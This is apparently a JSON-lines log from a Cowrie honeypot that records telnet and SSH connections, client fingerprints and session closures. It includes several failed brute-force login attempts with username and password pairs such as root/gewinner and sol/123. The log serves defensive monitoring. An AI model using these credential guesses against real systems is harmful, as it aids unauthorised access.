{"eventid":"cowrie.session.closed","duration":120.00636029243469,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:13.427130Z","src_ip":"105.209.159.189","session":"dda504dc9668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0016438961029,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:14.062045Z","src_ip":"105.209.159.189","session":"81e797c104fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20633101463318,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:14.813155Z","src_ip":"135.148.14.151","session":"cf99306d3c57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97484302520752,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:15.262367Z","src_ip":"135.148.14.151","session":"351218bc73bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.67225193977356,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:16.031137Z","src_ip":"135.148.14.151","session":"92abb118da50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.40915489196777,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:20.661376Z","src_ip":"135.148.14.151","session":"fabc0363e7e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86963891983032,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:22.019260Z","src_ip":"135.148.14.151","session":"073e562e2765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":46288,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6551f15fe02","protocol":"telnet","message":"New connection: 105.209.159.189:46288 (10.17.0.5:23) [session: f6551f15fe02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:32.109543Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":46372,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ef2a396c72","protocol":"telnet","message":"New connection: 105.209.159.189:46372 (10.17.0.5:23) [session: d6ef2a396c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:32.343475Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":46382,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec5af039aa6","protocol":"telnet","message":"New connection: 105.209.159.189:46382 (10.17.0.5:23) [session: 9ec5af039aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:32.419282Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":46368,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d01f12f28b","protocol":"telnet","message":"New connection: 105.209.159.189:46368 (10.17.0.5:23) [session: 70d01f12f28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:32.429627Z"}
{"eventid":"cowrie.session.closed","duration":38.32373261451721,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:50:32.632565Z","src_ip":"135.148.14.151","session":"f5db79d969a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59024,"dst_ip":"159.203.135.109","dst_port":23,"session":"961bbed963a4","protocol":"telnet","message":"New connection: 135.148.14.151:59024 (159.203.135.109:23) [session: 961bbed963a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:51:26.940660Z"}
{"eventid":"cowrie.session.closed","duration":34.121665239334106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:01.062198Z","src_ip":"135.148.14.151","session":"961bbed963a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56212,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a451fc2de73","protocol":"telnet","message":"New connection: 135.148.14.151:56212 (159.203.135.109:23) [session: 2a451fc2de73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:23.480772Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56204,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a87b26d49a","protocol":"telnet","message":"New connection: 135.148.14.151:56204 (159.203.135.109:23) [session: d5a87b26d49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:24.474738Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44456,"dst_ip":"159.203.135.109","dst_port":22,"session":"d76ebdbee99c","protocol":"ssh","message":"New connection: 193.37.70.224:44456 (159.203.135.109:22) [session: d76ebdbee99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:27.655233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:27.660635Z","src_ip":"193.37.70.224","session":"d76ebdbee99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:27.751287Z","src_ip":"193.37.70.224","session":"d76ebdbee99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gewinner","message":"login attempt [root/gewinner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:28.027995Z","src_ip":"193.37.70.224","session":"d76ebdbee99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:29.120731Z","src_ip":"193.37.70.224","session":"d76ebdbee99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00313925743103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:32.112565Z","src_ip":"105.209.159.189","session":"f6551f15fe02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176429748535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:32.345117Z","src_ip":"105.209.159.189","session":"d6ef2a396c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170755386353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:32.420846Z","src_ip":"105.209.159.189","session":"9ec5af039aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107336044312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:32.430578Z","src_ip":"105.209.159.189","session":"70d01f12f28b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":49422,"dst_ip":"159.203.135.109","dst_port":22,"session":"c559d0ad7e16","protocol":"ssh","message":"New connection: 80.94.92.171:49422 (159.203.135.109:22) [session: c559d0ad7e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:34.668869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:34.749312Z","src_ip":"80.94.92.171","session":"c559d0ad7e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":39620,"dst_ip":"10.17.0.5","dst_port":22,"session":"61df51d413e1","protocol":"ssh","message":"New connection: 147.45.197.250:39620 (10.17.0.5:22) [session: 61df51d413e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:34.823391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:34.829992Z","src_ip":"147.45.197.250","session":"61df51d413e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:34.925370Z","src_ip":"147.45.197.250","session":"61df51d413e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22041988","message":"login attempt [root/22041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:35.203671Z","src_ip":"147.45.197.250","session":"61df51d413e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:35.692572Z","src_ip":"80.94.92.171","session":"c559d0ad7e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:36.297803Z","src_ip":"147.45.197.250","session":"61df51d413e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:37.397284Z","src_ip":"80.94.92.171","session":"c559d0ad7e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:38.879917Z","src_ip":"80.94.92.171","session":"c559d0ad7e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":40404,"dst_ip":"159.203.135.109","dst_port":22,"session":"c91f4af916c3","protocol":"ssh","message":"New connection: 103.149.170.125:40404 (159.203.135.109:22) [session: c91f4af916c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:44.599356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:44.604773Z","src_ip":"103.149.170.125","session":"c91f4af916c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:44.874062Z","src_ip":"103.149.170.125","session":"c91f4af916c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321qaz","message":"login attempt [root/321qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:45.683938Z","src_ip":"103.149.170.125","session":"c91f4af916c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":54180,"dst_ip":"10.17.0.5","dst_port":22,"session":"b62806a6214e","protocol":"ssh","message":"New connection: 103.82.20.28:54180 (10.17.0.5:22) [session: b62806a6214e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:46.405264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:46.410191Z","src_ip":"103.82.20.28","session":"b62806a6214e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:46.670637Z","src_ip":"103.82.20.28","session":"b62806a6214e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:46.955013Z","src_ip":"103.149.170.125","session":"c91f4af916c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12356789","message":"login attempt [root/12356789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:47.452257Z","src_ip":"103.82.20.28","session":"b62806a6214e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:48.715004Z","src_ip":"103.82.20.28","session":"b62806a6214e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37882,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85ace6a13be","protocol":"telnet","message":"New connection: 135.148.14.151:37882 (159.203.135.109:23) [session: a85ace6a13be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:52.580681Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":47740,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee85d03ec36","protocol":"telnet","message":"New connection: 105.209.159.189:47740 (10.17.0.5:23) [session: dee85d03ec36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:53.857225Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":47806,"dst_ip":"10.17.0.5","dst_port":23,"session":"748dc139d4a7","protocol":"telnet","message":"New connection: 105.209.159.189:47806 (10.17.0.5:23) [session: 748dc139d4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:53.888212Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":47016,"dst_ip":"10.17.0.5","dst_port":22,"session":"73d78e810767","protocol":"ssh","message":"New connection: 103.27.238.120:47016 (10.17.0.5:22) [session: 73d78e810767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:54.459934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:54.464759Z","src_ip":"103.27.238.120","session":"73d78e810767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46432,"dst_ip":"10.17.0.5","dst_port":22,"session":"386e24024c91","protocol":"ssh","message":"New connection: 103.27.238.116:46432 (10.17.0.5:22) [session: 386e24024c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:54.581267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:54.586521Z","src_ip":"103.27.238.116","session":"386e24024c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:54.733965Z","src_ip":"103.27.238.120","session":"73d78e810767","protocol":"ssh"}
